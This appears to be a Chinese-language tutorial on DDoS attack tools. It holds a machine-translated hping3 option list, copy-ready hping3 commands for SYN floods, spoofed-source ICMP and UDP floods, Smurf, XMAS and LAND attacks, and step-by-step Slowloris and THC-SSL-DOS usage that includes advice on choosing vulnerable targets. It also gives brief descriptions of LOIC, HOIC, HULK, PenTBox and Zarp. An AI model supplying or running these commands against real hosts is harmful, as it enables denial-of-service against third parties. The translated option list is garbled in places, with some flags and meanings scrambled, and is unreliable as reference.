DDoS攻擊工具

綜合性工具

綜合性工具除了可以進行DDoS攻擊外，還可用於其他的用途，例如：端口掃描、安全審計、防火牆等。實際上，大部分綜合性工具開發的原始目的並不是用於DDoS，而是“網絡檢查或測試工具”

Hping

​ Hping是一個編碼和解碼TCP/IP協議的命令行開發工具，常用於測試網絡及主機的安全，同時也可以做安全審計、防火牆測試等工具的標配工具；Hping的命令行就像常用的ping命令，不同的是，它不僅能發送ICMP請求，而且支持TCP、UDP、RAW-IP等協議；Hping的特色在於能夠定制數據包的各個部分。

​ Hping常常別用做網絡攻擊工具，使用Hping可以方便的額構造DoS攻擊，如：ICMP洪水攻擊、UDP洪水攻擊、SYN洪水攻擊等。

​ Hping的常用功能包括網絡壓力測試、防火牆測試、端口掃描等。

使用手冊:https://www.hi-linux.com/posts/57862.html

-H——幫助顯示此幫助

-V—版本顯示版本

-C——發送數據包的數據項目

-i——間隔發送數據包的間隔時間（u即微秒）（u x表示x微秒，例如-i u1000）

---i u10000的快速別名（每秒10個數據包）

---i u1000的更快別名（每秒100個數據包）

--Flood快速發送數據包，不顯示返回

-n——數字化輸出

-Q——安靜安靜模式

-i——接口接口名稱（否則為默認路由接口）

-v——詳細詳細模式

-d——調試調試信息

-z—將bind ctrl+z綁定到ttl（默認為dst端口）

-Z—取消綁定取消綁定ctrl+z

--每收到一個匹配的數據包都會發出嗶嗶聲

模式

默認模式TCP

-0—RAWIP原始IP模式

-1—ICMP ICMP模式

-2——UDP UDP模式

-8——掃描掃描模式。

示例：hping--scan 1-30,70-90-s www.target.host

-9——聽-聽模式

知識產權

-a—欺騙源地址

--隨機目的地地址模式。見那個人。

--隨機源地址模式。見那個人。

-T—TTL TTL（默認為64）

-n—ID ID（默認隨機）

-w——win id使用win*id字節排序

-r——rel relativize id字段（用於估計主機流量）

-f——用更多的碎片分割數據包。（可能通過弱ACL）

-x—morefrag設置更多片段標志

-Y—Dontfrag集不分段標志

-g—fragoff設置碎片偏移量

-m——mtu設置虛擬mtu，意味着——如果包大小大於mtu，則為frag

-o--tos服務類型（默認為0x00），嘗試--tos幫助

-g——route包括記錄路由選項並顯示路由緩沖區

--LSRR松散源路由和記錄路由

--SSRR嚴格的源路由和記錄路由

-h--ipproto設置IP協議字段，僅在原始IP模式下

ICMP

-C—icmp type icp類型（默認回顯請求）

-k—ICMPCode ICMP代碼（默認為0）

--強制ICMP發送所有ICMP類型（默認僅發送支持的類型）

--icmp gw為icmp重定向設置網關地址（默認為0.0.0.0）

--icmp ts別名--icmp--icmptype 13（icmp時間戳）

--ICMP地址別名--ICMP--ICMPType 17（ICMP地址子網掩碼）

--ICMP幫助顯示其他ICMP選項的幫助

UDP/TCP協議

-S—基址端口基址源端口（默認隨機）

-p--destport[+]+] destination port（默認值0）ctrl+z inc/dec

-k——保持源端口靜止

-w—win winsize（默認值64）

-o——tcpoff設置假tcp數據偏移量（而不是tcphdrlen/4）

-q—seqnum僅顯示TCP序列號

-B—badcksum（嘗試）發送具有錯誤IP校驗和的數據包

許多系統將修復發送數據包的IP校驗和

因此，您將得到錯誤的UDP/TCP校驗和。

-m——setseq設置TCP序列號

-L—set ack設置tcp ack

-F—fin設置fin標志

-S—SYN設置SYN標志

-R——RST設置RST標志

-P——推集推標志

-A—ACK設置ACK標志

-U—URG設置URG標志

-x—xmas set x unused標志（0x40）

-Y—Ymas設置Y未使用標志（0x80）

--tcp exit code使用最后一個tcp->th_標志作為退出代碼

--tcp mss使用給定值啟用tcp mss選項

--tcp timestamp啟用tcp timestamp選項來猜測hz/uptime

共同的

-d——數據數據大小（默認值為0）

-e——文件中的文件數據

-E——簽名加上“簽名”

-j——以十六進制轉儲數據包

-j——打印轉儲可打印字符

-B——安全啟用“安全”協議

-u——結束，告訴你什么時候——文件到達eof，並防止倒帶。

-t——traceroute traceroute模式（意味着——bind和——ttl 1）

--在traceroute模式下接收第一個非ICMP時，tr停止退出

--tr keep ttl保持源ttl固定，僅用於監視一個躍點

--tr no rtt不在traceroute模式下計算/顯示rtt信息

ARS包描述（新的、不穩定的）

--APD發送發送APD描述的數據包（見docs/apd.txt）

Hping操作

上兩張圖是Hping3命令界面和目標192.168.2.191主機的攔包結果：

Hping命令使用的是 -i：是間隔100000微秒（其中u是微秒單位）發送數據包的間隔時間

-0—RAWIP原始IP模式

-1—ICMP ICMP模式

-2—UDP UDP模式

-8—掃描掃描模式

-a：偽造源IP地址為xxx.xxx.xxx.xxx

SYN Flooding(SYN洪水攻擊)

hping3	目標主機IP	-i	u微秒時間	-S	-a	偽造的源IP

偽造IP的ICMP封包

hping3 目標主機IP -i u100000 -1 -a 偽造來源IP

• SYN+FIN

hping3 目標主機IP -i u100000 -S -F -a 偽造來源IP

• FIN+SYN+RSP+PSH+ACK+UDP

hping3 目標主機IP -i u100000 -F -S -R -A -U -a 偽造來源IP

• 偽造IP的UDP封包

hping3 目標主機IP -i u100000 -2 -a 偽造來源IP

上述的命令中，偽造了源IP向目標主機發送了UDP數據包

• 偽造IP內含數據代碼

hping3 目標主機IP -i u100000 -d[封包數據] -E[文件名] -a[偽造源IP]

• SMURF攻擊

結合使用了IP欺騙和ICMP回復方法使大量網絡傳輸充斥目標系統，引起目標系統拒絕為正常系統進行服務。

hping3 -1 -a 192.168.1.5 192.168.1.255

• XMAS TREE攻擊

hping3 -SFRP 目標IP

• LAND攻擊

hping3 -k -S -s 25 -p 25 -a 偽造源IP地址

• 用tcpdump的記錄流量

PenTBox

兼容windows、mac os、Android；基於Ruby開發。

• 三個主體功能

  • 密碼算法工具

  • 網絡工具（壓力測試、溢出攻擊）

  • Web安全測試工具

Zarp

Zarp是一款采用python編寫的而網絡攻擊測試集成工具Zarp僅限運行在Linux平台，Zarp的主要接口是一個CLI驅動的圖形界面。

• 啟動Zarp.py
  

壓力測試工具

LOIC

LOIC，低軌道離子炮；開源的網絡壓力測試工具。

• Windows平台LOIC啟動界面

LOIC的不足之處在於他不可以偽造源IP地址。

LOIC可以對目標發動TCP、UDP以及HTTP GET等洪水攻擊

HOIC

HOIC，高軌道離子炮；是一款基於HTTP協議的開源DDoS工具，HOIC主要用於內部網絡和外部服務器安全性和穩定性能測試；

HOIC可以發送多線程的HTTP FLOOD洪水攻擊；同樣額HOIC也同樣無法隱藏源IP地址。

HULK

​ HULK是一款基於Python的Web壓力測試工具。HULK默認啟動500線程對目標發起高頻率的HTTP GET洪水攻擊請求，獨特之處在於，每一次的請求都是獨一的，由此可以繞開服務器端采用緩存的防范措施。同時HULK也支持User-Agent和referer的偽造。

專業的攻擊工具

Slowloris

Slowloris是一個Perl程序。（也有Python的版本）

​ Slowloris的使用較為簡單，一般分為兩個步驟：

• 首先是對目標進行探測：

perl slowloris.pl -dns 目標IP	-port 目標端口號	-test

​ 對目標進行探測的主要目的是獲取目標服務器的連接時間，當目標服務器的時間超時小於166秒，工具運行會出現異常，所以建議選擇超時時間大於200秒以上的目標。

測試中，首要是確定目標的對象IP，然后進行多次的超時時長的探測。

• 實施攻擊

perl slowloris.pl -dns 目標IP -port 目標端口號 - timeout TTL

TTL指的是根據之前的探測，設置一個合適的超時時間；因為Slowloris攻擊方法主要就是依靠超時占用對方資源而實現DoS攻擊的目的，所以還是需要這只一個合適的超時時間的。

​ 在之前提過，該攻擊方法是有不足的，只能針對部分的web服務端有效；目前收到影響的有：Apache1.x/2.x、dhttpd、GoAhead、WebServer、Squid等；而IIS則不受影響。

R.U.D.Y

​ RUDY采用一種慢速的HTTP POST請求的方式給目標發動攻擊。與之前的Slowloris利用請求Header部分不同，RUDY利用的是請求的body部分；因為服務器端會根據Content-Length字段的內容值持續等待，直到客戶端數據發送完畢。

太繁瑣，不用了。

THC SSL DOS

​ THC SSL DOS 利用SSL中已知弱點而使其DoS；這種攻擊是非對稱的，一次客戶請求就可以讓服務端進行相當於客戶端的15倍的CPU資源進行處理。

thc-ssl-dos --accept xxx.xxx.xxx.xxx [prot]xx

如果目標禁用或啟動了安全的 rengotiation ，則會提示攻擊失敗。

利用THC SSL DOS工具，一台性能和帶寬中等的主機就可以挑戰高性能的服務器；攻擊效果非常明顯。